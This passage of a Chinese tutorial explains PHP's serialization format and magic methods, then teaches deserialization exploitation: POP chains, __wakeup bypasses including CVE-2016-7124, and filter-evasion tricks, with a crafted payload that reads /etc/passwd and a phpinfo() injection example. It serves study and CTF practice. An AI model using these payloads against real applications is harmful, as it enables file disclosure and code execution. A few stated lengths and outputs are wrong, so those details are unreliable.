PHP 测试:https://onlinephp.io/
PHP 序列化格式
基本数据类型
基本数据类型的序列化格式只描述值,不包含变量名。
Null
格式 :N;
php
$n = null;
$serialized = serialize($n); // 结果: N;
布尔值(Boolean)
格式 :b:<value>;
示例 :b:1;
表示 true,b:0;
表示 false。
php
$b = true;
$serialized = serialize($b); // 结果: b:1;
整数(Integer)
格式 :i:<value>;
<value>
为一个整型数,范围为:-2147483648 到 2147483647。数字前可以有正负号。- 如果被序列化的数字超过这个范围,则会被序列化为浮点数类型而不是整型。
- 如果序列化后的数字超过这个范围,则反序列化时,将不会返回期望的数值。
示例 :i:42;
表示整数 42。
php
$i = 42;
$serialized = serialize($i); // 结果: i:42;
浮点数(Double)
格式 :d:<value>;
<value>
为一个浮点数,其范围与 PHP 中浮点数的范围一致,可以表示成整数形式、浮点数形式和科学计数法形式。- 如果序列化无穷大数,则
<value>
为INF
;如果序列化负无穷大数,则<value>
为-INF
。 - 序列化后的数字范围超过 PHP 能表示的最大值,则反序列化时返回无穷大(
INF
)。 - 如果序列化后的数字范围低于 PHP 能表示的最小精度,则反序列化时返回 0。
- 当浮点数为非数(NaN)时,被序列化为
NAN
。NAN
反序列化时返回 0,但其它语言可以将NAN
反序列化为相应语言所支持的NaN
表示。
示例 :d:3.14;
表示浮点数 3.14。
php
$d = 3.14;
$serialized = serialize($d); // 结果: d:3.14;
字符串(String)
格式 :s:<length>:"<value>";
<length>
是<value>
的长度,<length>
是非负整数,数字前可以带有正号(+
)。<value>
为字符串值,这里的每个字符都是单字节字符,其范围与 ASCII 码的 0 - 255 的字符相对应。- 每个字符都表示原字符含义,没有转义字符,
<value>
两边的引号("
)是必须的,但不计算在<length>
当中。 <value>
相当于一个字节流,而<length>
是这个字节流的字节个数。
示例 :s:5:"Hello";
表示字符串 "Hello"(长度为 5)。
php
$str = "Hello";
$serialized = serialize($str); // 结果: s:5:"Hello";
复杂数据类型
复杂数据类型的序列化格式包括键值对,键和值依次描述。键如果是索引则是数字,如果是属性则是字符串。
数组(Array)
格式 :a:<length>:{<key><value>...}
索引数组
索引数组的 key
就是索引对应的数字。
php
$arr = array(1, 2, 3);
$serialized = serialize($arr); // 结果: a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}
关联数组
php
$arr = array("foo" => "bar", "baz" => 42);
$serialized = serialize($arr); // 结果: a:2:{s:3:"foo";s:3:"bar";s:3:"baz";i:42;}
对象(Object)
格式 :O:<class_name_length>:"<class_name>":<property_count>:{<property_name><property_value>...}
O
是对象的标识符。<class_name_length>
是类名的长度。<class_name>
是类名。<property_count>
是属性的个数。{<property_name><property_value>...}
是属性名和属性值的键值对。
公有属性(Public Properties)
公有属性直接使用属性名,与关联数组类似,键就是属性名字符串的序列化结果。
格式 : s:<length>:"<property_name>";<property_value>
s
是字符串的标识符。<length>
是属性名的字符串长度。"<property_name>"
是属性名,用双引号包裹。<property_value>
是属性值。
php
class Test {
public $var = 'Hello';
}
$obj = new Test();
$serialized = serialize($obj);
// 结果: O:4:"Test":1:{s:3:"var";s:5:"Hello";}
受保护属性(Protected Properties)
受保护属性的属性名前加上一个 *
字符,用 null 字符(\0
)分隔。
格式 :s:<length>:"\0*\0<property_name>";<property_value>
s
是字符串的标识符。<length>
是包含两个 null 字符、*
字符和属性名在内的字符串长度。"\0*\0<property_name>"
是属性名,用两个 null 字符(\0
)和一个*
字符分隔。<property_value>
是属性值。
php
class Test {
protected $var = 'Hello';
}
$obj = new Test();
$serialized = serialize($obj);
// 结果: O:4:"Test":1:{s:8:"\0*\0var";s:5:"Hello";}
私有属性(Private Properties)
私有属性的属性名前加上类名,用 null 字符(\0
)分隔。
格式 :s:<length>:"\0<class_name>\0<property_name>";<property_value>
s
是字符串的标识符。<length>
是包含两个 null 字符、类名和属性名在内的字符串长度。"\0<class_name>\0<property_name>"
是类名和属性名之间用两个 null 字符(\0
)分隔。<property_value>
是属性值。
php
class Test {
private $var = 'Hello';
}
$obj = new Test();
$serialized = serialize($obj);
// 结果: O:4:"Test":1:{s:9:"\0Test\0var";s:5:"Hello";}
嵌套复合类型
PHP 的序列化机制能够处理复杂的嵌套复合类型,如自包含对象、相互引用的对象和数组。这些结构在序列化时会生成特定的标识符来记录引用关系,并在反序列化时正确恢复这些引用。
对象引用
当对象被赋值给另一个变量时,两个变量都引用同一个对象实例) 。这种引用在序列化时会被记录,并在反序列化时恢复。对象引用在序列化字符串中使用 r
标识。
如果两个变量都引用同一个对象实例,我们修改一个变量对应的对象的属性不会影响另一个变量。
- 格式 :
r:<reference_number>;
- 描述 :
r
用于表示对象引用。序列化过程中,当遇到重复的对象时,使用r
来表示引用前面已经序列化的对象。<reference_number>
是一个整数,表示引用的对象在序列化数据中的位置。位置从 1 开始计数。
php
class Test{
public $value;
}
$obj = new Test();
$obj->value = $obj;
echo serialize($obj) . "\n";
// 结果: O:4:"Test":1:{s:5:"value";r:1;}
指针引用
当使用 &
符号明确指定引用传递时,两个变量共享同一个引用(类似两个指针的值始终同步,始终指向同一地址) 。这种引用在序列化时会被记录为指针引用。指针引用在序列化字符串中使用 R
标识。
如果两个变量共享同一个引用,那么我们修改一个变量对应的对象的属性时另一个变量会同步改变。
- 格式 :
R:<reference_number>;
- 描述 :
R
用于表示指针引用。序列化过程中,当遇到使用&
符号明确指定的引用时,使用R
来表示引用前面已经序列化的值或对象。<reference_number>
是一个整数,表示引用的值或对象在序列化数据中的位置。位置从 1 开始计数。
php
class Test{
public $value;
}
$obj = new Test();
$obj->value = &$obj;
echo serialize($obj) . "\n";
// 结果: O:4:"Test":1:{s:5:"value";R:1;}
引用处理机制
在 PHP 序列化过程中,PHP 会使用一个哈希表来跟踪已经被序列化的对象和引用。这个机制可以确保复杂的引用关系能够被正确处理并在反序列化时恢复。
- 建立空表:开始序列化时,PHP 会建立一个空的哈希表,用于记录已经被序列化的对象和引用。
- 计算 Hash 值:每个对象(以及对象中的属性的值)在被序列化之前,都会计算一个唯一的 Hash 值。
- 查表 :检查这个 Hash 值是否已经在哈希表中:
- 如果没有出现,则将 Hash 值添加到表中并返回添加成功。
- 如果已经出现,则返回添加失败,同时返回该 Hash 值上一次出现的位置。
- 判断引用类型 :在返回添加失败之前,PHP 会判断该对象是否是一个引用(用
&
符号定义的引用):- 如果是引用,则在添加 Hash 值到表中之后返回
R
标识。 - 如果不是引用,则返回
r
标识。
- 如果是引用,则在添加 Hash 值到表中之后返回
例如下面随便举的一个例子:
这里解释一下为什么数组第二项为指针引用:
- 首先数组中的 object 默认是指针引用。
- 下图中左边是按照定义生成的引用关系图,观察发现
b
与b'
出边相同(哈希相同),因此可以优化掉一个。 - 此时数组第二项变为指针引用,且与原本定义等价。
自定义对象序列化
使用 __sleep 和 __wakeup 自定义序列化
在 PHP 4 中,提供了 __sleep
和 __wakeup
这两个魔术方法来自定义对象的序列化。这两个方法并不会改变对象序列化的格式,而是影响被序列化字段的个数。
__sleep
:在对象被序列化时调用。它应该返回一个包含对象中所有需要被序列化的属性名的数组。__wakeup()
:在对象被反序列化时调用。它通常用来完成序列化后的初始化任务。
例如下面这段代码:
php
class MyClass {
public $name;
private $data;
protected $connection;
public function __construct($name, $data) {
$this->name = $name;
$this->data = $data;
// 模拟数据库连接
$this->connection = "Database connection established";
}
public function __sleep() {
// 在序列化前关闭数据库连接
$this->connection = null;
// 返回需要序列化的属性数组
return ['name', 'data'];
}
public function __wakeup() {
// 在反序列化时重新建立数据库连接
$this->connection = "Database connection re-established";
}
}
// 创建对象并序列化
$obj = new MyClass("example", "some data");
$serialized = serialize($obj);
echo "Serialized: " . $serialized . "\n";
// 反序列化对象并输出
$unserialized = unserialize($serialized);
echo "Unserialized: ";
print_r($unserialized);
这段代码的输出如下:
Serialized: O:7:"MyClass":2:{s:4:"name";s:7:"example";s:13:"\0MyClass\0data";s:9:"some data";}
Unserialized: MyClass Object
(
[name] => example
[data:MyClass:private] => some data
[connection:protected] => Database connection re-established
)
__sleep
方法返回一个包含需要被序列化的属性名的数组。在这个例子中,我们只序列化name
和data
属性。__wakeup
方法在对象反序列化之后调用,这里我们加上反序列化后在该函数中完成数据库连接建立,因此更新连接状态connection
。
从上述例子也可以看出:反序列化不要求序列化字符串记录对象的全部属性。
使用 Serializable 接口自定义序列化
在 PHP 5 中引入了接口功能,并且提供了 Serializable
接口。通过实现 Serializable
接口,用户可以自定义对象的序列化和反序列化行为。当一个对象实现了 Serializable
接口后,在序列化时,标识符将从 O
(表示对象)变为 C
(表示自定义序列化)。
Serializable
接口定义了 serialize
和 unserialize
两个方法:
serialize()
:用于定义对象的序列化行为。应该返回一个表示对象的序列化字符串。unserialize($data)
:用于定义对象的反序列化行为。接受一个字符串参数$data
,用于恢复对象的状态。
当对象实现了 Serializable
接口并被序列化时,使用 C
标识符,格式为:C:<length_class_name>:"<class_name>":<length_serialized_data>:{<serialized_data>}
<length_class_name>
:类名的长度。<class_name>
:类名。<length_serialized_data>
:序列化数据的长度。<serialized_data>
:序列化数据。
php
class MyClass implements Serializable {
public $member;
function __construct() {
$this->member = 'member value';
}
public function serialize() {
// 自定义序列化逻辑,使用 WDDX 序列化成员变量
return wddx_serialize_value($this->member);
}
public function unserialize($data) {
// 自定义反序列化逻辑,使用 WDDX 反序列化数据
$this->member = wddx_deserialize($data);
}
}
$a = new MyClass();
// 序列化对象
$serialized = serialize($a);
echo $serialized . "\n";
// 反序列化对象并输出
$unserialized = unserialize($serialized);
print_r($unserialized);
当运行上述代码时,输出结果将是:
C:7:"MyClass":90:{<wddxPacket version='1.0'><header/><data><string>member value</string></data></wddxPacket>}
MyClass Object
(
[member] => member value
)
PHP 魔术方法
生命周期相关
__construct()
定义:
php
public function __construct()
用途:创建对象时触发。
php
class MyClass {
public function __construct() {
echo "Object is being created.\n";
}
}
$obj = new MyClass();
__destruct()
定义:
php
public function __destruct()
用途:当对象被销毁时触发。
php
class MyClass {
public function __destruct() {
echo "Object is being destroyed.\n";
}
}
$obj = new MyClass();
unset($obj); // 或者脚本结束时触发
序列化相关
__wakeup()
定义:
php
public function __wakeup()
用途 :unserialize()
会检查是否存在一个 __wakeup()
方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。
php
class MyClass {
public function __wakeup() {
echo "Object is being unserialized.\n";
}
}
$obj = new MyClass();
$serialized = serialize($obj);
$unserialized = unserialize($serialized);
__sleep()
定义:
php
public function __sleep()
用途:对象被序列化之前触发。返回一个包含需要序列化的属性名的数组。
返回值:一个包含需要序列化的属性名的数组。
类型转换相关
__toString()
定义:
php
public function __toString()
用途:当对象被当成字符串使用时应如何回应。必须返回一个字符串。
触发方式 :本质就是找有没有类型涉及对象向字符串做类型转换的操作。
- 输出操作 :使用
echo
或print
打印对象时会触发__toString
方法。 - 字符串操作 :对象参与字符串相关操作时会触发
__toString
调用。- 字符串拼接:反序列化对象与字符串拼接时触发。
- 字符串比较 :反序列化对象与字符串进行
==
比较时触发(涉及类型转换)。
- 字符串参数 :函数参数是字符串类型时如果将对象传入会触发
__toString
调用。- 字符串函数 :反序列化对象作为参数传递给字符串函数时触发,如
strlen()
、addslashes()
。 class_exists()
函数 :反序列化对象作为class_exists()
的参数时触发。file_exists()
函数 :反序列化对象作为file_exists()
的参数时触发。
- 字符串函数 :反序列化对象作为参数传递给字符串函数时触发,如
- 函数实现 :函数实现涉及对对象的字符串操作时会触发对象的
__toString
调用。in_array()
函数 :第一个参数是反序列化对象,第二个参数的数组中有__toString
返回的字符串时触发。- 格式化字符串 :反序列化对象参与格式化字符串时触发,如
printf
或sprintf
。
php
class MyClass {
public function __toString() {
echo __FUNCTION__ . "\n";
return "This is MyClass object.";
}
}
$serializedObj = serialize(new MyClass());
$obj = unserialize($serializedObj);
// 1. 打印对象
echo $obj; // 输出: This is MyClass object.
// 2. 字符串连接
$str = "Object: " . $obj;
echo $str . "\n"; // 输出: Object: This is MyClass object.
// 3. 格式化字符串
printf("Object: %s\n", $obj); // 输出: Object: This is MyClass object.
// 4. 字符串比较
if ($obj == "This is MyClass object.") {
echo "Match\n"; // 输出: Match
}
// 5. 字符串函数
$length = strlen($obj);
echo "Length: $length\n"; // 输出: Length: 20
// 6. in_array 函数
$array = ["This is MyClass object.", "Another string"];
if (in_array($obj, $array)) {
echo "Found in array\n"; // 输出: Found in array
}
// 7. class_exists 函数
$class_exists = class_exists($obj); // 这不是一个推荐的用法,但会触发 __toString
echo "Class exists: " . ($class_exists ? 'true' : 'false') . "\n"; // 输出: Class exists: false
// 8. file_exists 函数
$file_exists = file_exists($obj); // 这也不是一个推荐的用法,但会触发 __toString
echo "File exists: " . ($file_exists ? 'true' : 'false') . "\n"; // 输出: File exists: false
__invoke()
定义:
php
public function __invoke($arg)
参数:
$arg
:调用对象时传递的参数。
用途:当脚本尝试将对象调用为函数时触发。
php
class MyClass {
public function __invoke($arg) {
echo "Object is being called as a function with argument: $arg\n";
}
}
$obj = new MyClass();
$obj('argument'); // 调用对象作为函数
成员访问相关
__get()
定义:
php
public function __get($name)
参数:
$name
:尝试访问的属性名。
用途:用于从不可访问的属性读取数据。
php
class MyClass {
private $data = array('name' => 'John', 'age' => 30);
public function __get($name) {
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}
return null;
}
}
$obj = new MyClass();
echo $obj->name; // 输出: John
__set()
定义:
php
public function __set($name, $value)
参数:
$name
:要设置的属性名。$value
:要设置的属性值。
用途:用于将数据写入不可访问的属性。
php
class MyClass {
private $data = array();
public function __set($name, $value) {
$this->data[$name] = $value;
}
}
$obj = new MyClass();
$obj->name = 'John';
__isset()
定义:
php
public function __isset($name)
参数:
$name
:要检查的属性名。
用途 :在不可访问的属性上调用 isset()
或 empty()
时触发。
php
class MyClass {
private $data = array('name' => 'John');
public function __isset($name) {
return isset($this->data[$name]);
}
}
$obj = new MyClass();
var_dump(isset($obj->name)); // 输出: bool(true)
__unset()
定义:
php
public function __unset($name)
参数:
$name
:要销毁的属性名。
用途 :在不可访问的属性上使用 unset()
时触发。
php
class MyClass {
private $data = array('name' => 'John');
public function __unset($name) {
unset($this->data[$name]);
}
}
$obj = new MyClass();
unset($obj->name);
__call()
定义:
php
public function __call($name, $arguments)
参数:
$name
:调用的方法名。$arguments
:一个包含调用参数的数组。
用途 :在对象上下文 中调用不可访问 或不存在的方法时触发。
php
class MyClass {
public function __call($name, $arguments) {
echo "Calling method '$name' with arguments: " . implode(', ', $arguments) . "\n";
}
}
$obj = new MyClass();
$obj->undefinedMethod('arg1', 'arg2'); // 调用不可访问的方法
__callStatic()
定义:
php
public static function __callStatic($name, $arguments)
参数:
$name
:调用的方法名。$arguments
:一个包含调用参数的数组。
用途 :在静态上下文 中调用不可访问 或不存在的方法时触发。
php
class MyClass {
public static function __callStatic($name, $arguments) {
echo "Calling static method '$name' with arguments: " . implode(', ', $arguments) . "\n";
}
}
MyClass::undefinedStaticMethod('arg1', 'arg2'); // 调用不可访问的静态方法
回调函数相关
call_user_func、call_user_func_array
定义:
php
call_user_func(callable $callback, mixed ...$args)
call_user_func_array(callable $callback, array $param_arr)
参数:
$callback
:要调用的回调函数。$args
或$param_arr
:传递给回调函数的参数。
用途:用于在运行时调用回调函数,支持传递参数。
php
class MyClass {
public static function myStaticMethod($arg) {
echo "Static method called with argument: $arg\n";
}
}
call_user_func(array('MyClass', 'myStaticMethod'), 'argument');
// 或者
call_user_func_array(array('MyClass', 'myStaticMethod'), array('argument'));
应用
起点
在对象反序列化后立即触发,用于初始化对象或进行其他必要的操作。
__destruct()
:对象被销毁时触发。__wakeup()
:在unserialize()
时,如果存在__wakeup()
方法,则会先调用它,预先准备对象需要的资源。__toString()
:对象被当成字符串使用时触发,必须返回一个字符串。
中间跳板
在利用链中起到中间过渡的作用,通常用于访问或修改对象的属性和方法,构造参数调用下一个魔术方法,直到执行到最终代码。
__call()
:在对象上下文中调用不可访问的方法时触发。__callStatic()
:在静态上下文中调用不可访问的方法时触发。__get()
:用于从不可访问的属性读取数据。__set()
:用于将数据写入不可访问的属性。__isset()
:在不可访问的属性上调用isset()
或empty()
时触发。__unset()
:在不可访问的属性上使用unset()
时触发。__invoke()
:脚本尝试将对象调用为函数时触发。__toString()
:当对象被当成字符串使用时触发。
终点
代码执行的最终点,在利用链的最后阶段被调用,通常用于执行具体的代码。
__call
:调用不可访问或不存在的方法时触发。call_user_func
、call_user_func_array
:在运行时调用回调函数,支持传递参数。
其他
与反序列化无关的魔术方法或基础初始化方法。
__construct()
:创建对象时触发。__sleep()
:对象被序列化之前触发,返回一个包含需要序列化的属性名的数组。__autoload()
:当代码中调用不存在的类时,会自动调用该方法。spl_autoload_register()
:注册自动加载函数,替代__autoload()
。
反序列化基础利用
POP 链
POP 链(Property-Oriented Programming Chain)是指从现有运行环境中寻找一系列的代码(通常是一些类的魔术方法),然后根据需求通过类的属性构造出一组连续的调用链。
反序列化利用就是要找到合适的 POP 链。其实就是构造一条符合原代码需求的链条,去找到可以控制的属性或方法,从而构造 POP 链达到攻击的目的。
寻找POP链的思路:
- 寻找参数是否可控的
unserialize()
函数; - 寻找反序列化想要执行的目标函数,重点寻找魔术方法(比如
__wakeup()
和__destruct()
); - 一层一层地研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法;
- 根据我们要控制的属性,构造序列化数据,发起攻击。
例如下面这道例题:
php
<?php
error_reporting(0);
class Vox {
protected $headset;
public function fun($pulse) {
include($pulse);
}
public function __invoke() {
$this->fun($this->headset);
}
}
class Saw {
public $fearless;
public $gun;
public function __construct($file = 'index.php') {
$this->fearless = $file;
echo $this->fearless . ' You are in my range!' . "<br>";
}
public function __toString() {
$this->gun['gun']->fearless;
return "Saw";
}
public function _pain() {
if ($this->fearless) {
highlight_file($this->fearless);
}
}
public function __wakeup() {
if (preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)) {
echo "Does it hurt? That's right";
$this->fearless = "index.php";
}
}
}
class Petal {
public $seed;
public function __construct() {
$this->seed = array();
}
public function __get($sun) {
$Nourishment = $this->seed;
return $Nourishment();
}
}
if (isset($_GET['ozo'])) {
unserialize($_GET['ozo']);
} else {
$Saw = new Saw('index.php');
$Saw->_pain();
}
?>
可以构造如下 POP 链,最终实现任意文件读。
生成序列化数据
要利用反序列化漏洞,必须向 unserialize()
函数传入构造的序列化数据(定义合适的属性值),这就需要我们生成序列化数据。序列化数据通常利用 serialize()
函数生成。
生成步骤:
-
把题目代码复制到本地;
-
注释掉与属性无关的内容(方法和没用的代码);
-
对属性赋值;
-
输出 URL 编码后的序列化数据:
phpecho(urlencode(serialize(new MyClass())));
-
将序列化数据发送到目标服务器。
进行URL编码的原因:
- 原始的序列化数据可能存在不可见字符;
- 如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常。
属性赋值
生成序列化数据过程中需要对对象属性进行赋值,主要有 3 种方法:
-
直接在属性中赋值 :优点是方便,缺点是只能赋值字符串。
phpclass MyClass { public $func='evil'; public $arg='phpinfo();'; } echo(urlencode(serialize(new MyClass())));
-
外部赋值 :优点是可以赋值任意类型的值,缺点是只能操作 public 属性。
phpclass MyClass { public $func; public $arg ; } $obj = new MyClass(); $obj->func = 'evil'; $obj->arg = 'phpinfo();'; echo(urlencode(serialize($obj)));
-
构造方法赋值 :优点是解决了上述的全部缺点,缺点是有点麻烦。
phpclass MyClass { public $func; public $arg ; function __construct(){ $this->func = 'evil'; $this->arg='phpinfo();'; } } echo(urlencode(serialize(new MyClass())));
PHP 反序列化绕过
__wakeup 绕过
Fast Destruct 绕过
以下面这段代码为例:
php
class A {
public function __wakeup() {
echo __METHOD__ . "\n";
}
public function __destruct() {
echo __METHOD__ . "\n";
}
}
class B {
public $b;
public function __wakeup() {
echo __METHOD__ . "\n";
}
public function __destruct() {
echo __METHOD__ . "\n";
}
}
//$b = new B();
//$b->b = new A();
//echo serialize($b);
//
unserialize('O:1:"B":1:{s:1:"b";O:1:"A":0:{}}')
这段代码输出结果如下:
A::__wakeup
B::__wakeup
B::__destruct
A::__destruct
也就是 __wakeup
和 __destruct
的调用顺序为:
- 先初始化成员类后初始化自身。
- 先析构自身再析构成员类。
假如我们破坏这个序列化字符串的结构,例如删除调最后一个 }
(这里破坏方式很多,可以随便改改试试),那么 PHP 会认为这个对象以及构造出错了,因此会立即析构对象。
然而下面这个序列化字符串并没有对 __wakeup
和 __destruct
的调用顺序造成影响。
php
unserialize('O:1:"B":1:{s:1:"b";O:1:"A":0:{}')
这是因为如果 PHP 的一个对象要想调用 __destruct
那么就必须先调用这个对象的 __wakeup
(如果定义的话)完成初始化,避免一些安全问题。
而又因为要满足先初始化成员类后初始化自身 ,因此需要在调用 B::__wakeup
前先调用 A::__wakeup
。
总之因为 B
定义了 __wakeup
,根据一些列限制使得 __wakeup
和 __destruct
调用顺序没有发生变化。
如果我们把 B::__wakeup
删掉,那么我们就没有了调用 B::__destruct
前先调用 B::__wakeup
的限制和调用 B::__wakeup
前先调用 A::__wakeup
的限制,因此 B::__destruct
会立即调用。至此我们绕过了 A::__wakeup
。
如果在 B::__destruct
有与 A
相关的一些操作,那么就可能因为 B::__destruct
在 A::__wakeup
之前调用从而导致一些安全问题。
CVE-2016-7124
Fast Destruct 是通过对象自身 序列化出错导致提前析构绕过了成员对象 的 __wakeup
函数。而 CVE-2016-7124 则是对象自身 序列化出错导致提前析构绕过了对象自身 的 __wakeup
函数。
在 PHP 5.6.25 之前版本和 7.0.10 之前的版本,当对象的属性(变量)数大于实际的个数时,__wakeup()
方法不会被执行 。这意味着攻击者可以通过操纵序列化数据,添加多余的属性,从而绕过 __wakeup()
方法中的安全检查或初始化逻辑。
php
class A {
public function __wakeup() {
echo __METHOD__ . "\n";
}
public function __destruct() {
echo __METHOD__ . "\n";
}
}
echo phpversion() . "\n";
// 正常情况下,反序列化调用 __wakeup 和 __destruct
unserialize('O:1:"A":0:{}');
// 输出:
// A::__wakeup
// A::__destruct
// 当对象属性数大于实际的个数时,绕过 __wakeup,直接调用 __destruct
unserialize('O:1:"A":114514:{}');
// 输出:
// A::__destruct
custom object 绕过
使用 Serializable 接口自定义序列化后,由于自定义对象 (custom object
) 并不支持 __wakeup()
方法,因此可以用于绕过 __wakeup
方法中的安全检查或初始化逻辑。
php
class A implements Serializable {
private $data;
public function __construct() {
$this->data = "sensitive data";
}
public function __wakeup() {
echo __METHOD__ . "\n";
}
public function __destruct() {
echo __METHOD__ . "\n";
}
public function serialize() {
echo __METHOD__ . "\n";
// 自定义序列化逻辑
return serialize($this->data);
}
public function unserialize($data) {
echo __METHOD__ . "\n";
// 自定义反序列化逻辑
$this->data = unserialize($data);
}
}
// 实现 Serializable 接口后,使用 C 标识符绕过 __wakeup
$serialized_custom = serialize(new A());
echo "Serialized custom: $serialized_custom\n";
// 反序列化自定义对象
$custom_object = unserialize($serialized_custom);
// 输出:
// A::unserialize
// A::__destruct
过滤绕过
类属性绕过
在 PHP 7.1 之前,反序列化时严格区分属性的可见性,即使是同名的属性,由于前缀不同,也会被视为不同的属性。然而,从 PHP 7.1 开始,反序列化对属性可见性的处理变得不那么严格,这使得某些保护机制可以被绕过。
例如下面这个例子即使没有 \0*\0
前缀依然会输出 abc
。
php
class MyClass {
protected $a;
public function __destruct() {
echo $this->a;
}
}
echo phpversion() . "\n";
unserialize('O:7:"MyClass":1:{s:1:"a";s:3:"123";}');
数字绕过
在PHP的安全问题中,特别是反序列化安全漏洞中,检测序列化字符串是否以对象字符串开头是一个常见的防御措施。通常我们会使用正则表达式来匹配这种情况。然而,在一些特定情况下,攻击者可以利用一些技巧绕过这些检测,比如通过加号绕过。
我们可以使用以下正则表达式来检测序列化字符串是否以对象字符串开头:
php
preg_match('/^O:\d+/', $data)
这个正则表达式匹配任何以 O:
开头并跟随一个或多个数字的字符串,这通常表示PHP序列化对象。
在 PHP 7.2 之前,序列化数据中的数字字段可以加符号,比如 O:7:"MyClass
可以改为 O:+7:"MyClass
。
php
class Test {
public $a;
public function __construct() {
$this->a = 'abc';
}
public function __destruct() {
echo $this->a . PHP_EOL;
}
}
function match($data) {
if (preg_match('/O:\d+/', $data)) {
die('you lose!');
} else {
return $data;
}
}
$a = 'O:4:"Test":1:{s:1:"a";s:3:"abc";}';
$b = str_replace('O:4', 'O:+4', $a);
unserialize(match($b));
Unicode 绕过
在PHP序列化和反序列化过程中,字符串类型的标识符是 s
,它表示序列化的数据是一个字符串。然而,PHP在某些版本中对大写的 S
进行了特殊处理,将其视为十六进制字符编码。这种特性可以被攻击者利用,以绕过某些检测机制。
当PHP序列化数据时,通常使用 s
表示字符串类型。例如:
php
s:8:"username"
表示一个长度为4的字符串 "test"。然而,如果使用大写的 S
,PHP会将后续的字符视为十六进制编码。例如:
php
S:8:"\75sername";
在上述示例中,\75
是字符 u
的十六进制表示。这意味着字符串 S:8:"\75sername"
实际上会被解析为 username
。这可以用来绕过某些检测机制,例如字符串匹配检查。
php
<?php
class Test {
public $username;
public function __construct() {
$this->username = 'admin';
}
public function __destruct() {
echo 666;
}
}
function check($data) {
if (stristr($data, 'username') !== False) {
echo("你绕不过!!" . PHP_EOL);
} else {
return $data;
}
}
// 未作处理前
$a = 'O:4:"Test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"Test":1:{S:8:"\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);
二次序列化绕过
首先生成一段序列化数据。
php
class Unknown {}
$obj1 = new stdClass();
$obj1->abc = NULL;
$obj2 = new Unknown();
$obj2->abc = NULL;
echo serialize([$obj1, $obj2]);
// a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:7:"Unknown":1:{s:3:"abc";N;}}
这段序列化数据反序列化,注意反序列化的 PHP 环境中没有定义 Unknown
类。
php
$s='a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:7:"Unknown":1:{s:3:"abc";N;}}';
$obj=unserialize($s);
print_r($obj);
/*
Array
(
[0] => stdClass Object
(
[abc] =>
)
[1] => __PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => Unknown
[abc] =>
)
)
*/
print_r(serialize($obj));
// a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:7:"Unknown":1:{s:3:"abc";N;}}
观察反序列后的结果我们发现:
stdClass
是 PHP 内部声明的类,因此可以正常反序列化。- 由于
Unknown
类没有定义 ,因此反序列化后:- 类名变为
__PHP_Incomplete_Class
。 - 原本的类名作为
__PHP_Incomplete_Class_Name
属性的值。 Unknown
类原本的属性不变。
- 类名变为
另外把反序列化的类重新序列化,结果与原本的序列化数据相同。这说明在序列化的过程中,PHP 针对名称为 __PHP_Incomplete_Class
的类做了特殊处理。具体来说在序列化过程中 PHP 做了如下操作:
- 将
__PHP_Incomplete_Class
中的__PHP_Incomplete_Class_Name
属性存储的类名替换到类名上。 - 将
__PHP_Incomplete_Class_Name
属性删除。
虽然从刚才的现象来看,__PHP_Incomplete_Class_Name
和 __PHP_Incomplete_Class_Name
不会出现在序列化的数据中,但是我们可以手动构造序列化中没有特殊处理 __PHP_Incomplete_Class
类时的结果。
php
$s = 'a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:22:"__PHP_Incomplete_Class":2:{s:27:"__PHP_Incomplete_Class_Name";s:7:"Unknown";s:3:"abc";N;}}';
不过实际测试发现这段序列化数据与原本的序列化数据效果相同,也就是说 PHP 在反序列化时同样也会对名称为 __PHP_Incomplete_Class
的类做特殊处理。
然而既然 PHP 在反序列化时同样也会对名称为 __PHP_Incomplete_Class
的类做特殊处理,那么我们在序列化数据中构造一个畸形的 __PHP_Incomplete_Class
的类 可以让这个类在反序列化时正常恢复,但是再次序列化的时候会消失,从而绕过一些检查。
具体构造方法就是在序列化数据中把 __PHP_Incomplete_Class
类的 __PHP_Incomplete_Class_Name
属性删掉。
php
$s = 'a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:22:"__PHP_Incomplete_Class":1:{s:3:"abc";N;}}';
print_r(unserialize($s));
/*
Array
(
[0] => stdClass Object
(
[abc] =>
)
[1] => __PHP_Incomplete_Class Object
(
[abc] =>
)
)
*/
print_r(serialize(unserialize($s)));
// a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:22:"__PHP_Incomplete_Class":0:{}}
/*
(
[0] => stdClass Object
(
[abc] =>
)
[1] => __PHP_Incomplete_Class Object
(
)
)
*/
例如下面这段代码:
php
<?php
class MyClass {
public $name;
public function __destruct() {
if ($this->name) echo file_get_contents($this->name);
}
}
$res = unserialize($_REQUEST['ctfer']);
if (preg_match('/MyClass/i', serialize($res))) {
throw new Exception("Error: Class 'MyClass' found");
}
?>
这段代码会先将输入进行反序列化,然后根据二次序列化的结果进行过滤。因此我们只要构造这样一段数据:
'O:22:"__PHP_Incomplete_Class":1:{s:3:"obj";O:7:"MyClass":1:{s:4:"name";s:11:"/etc/passwd";}}'
那么就可以在二次序列化的时候隐藏 MyClass
类名实现绕过:
无对象绕过
stdClass
是 PHP 中的一个内置类,用于创建一个通用的对象。stdClass
对象通常用于创建一个空对象,它没有预定义的属性或方法。这对于将数据存储在一个具有动态属性的结构中非常有用,因为你可以随时添加和删除属性。
如果序列化字符串中的对象类型没有定义过会反序列化出 __PHP_Incomplete_Class
类型的对象,这个对象中的属性不能直接访问,会影响后续执行流程。
因此当题目没有给出一个现有的类时,可以考虑使用内置类 stdClass
,stdClass
没有杂七杂八的方法和变量,在构造 exp 时可以避免一些其他内置类可能产生的错误。
例如下面这段代码:
php
<?php
$obj = $_GET['obj'];
$flag = "flag{this_is_a_flag}";
if (preg_match('/flag/i', $obj)) {
die("?");
}
$obj = @unserialize($obj);
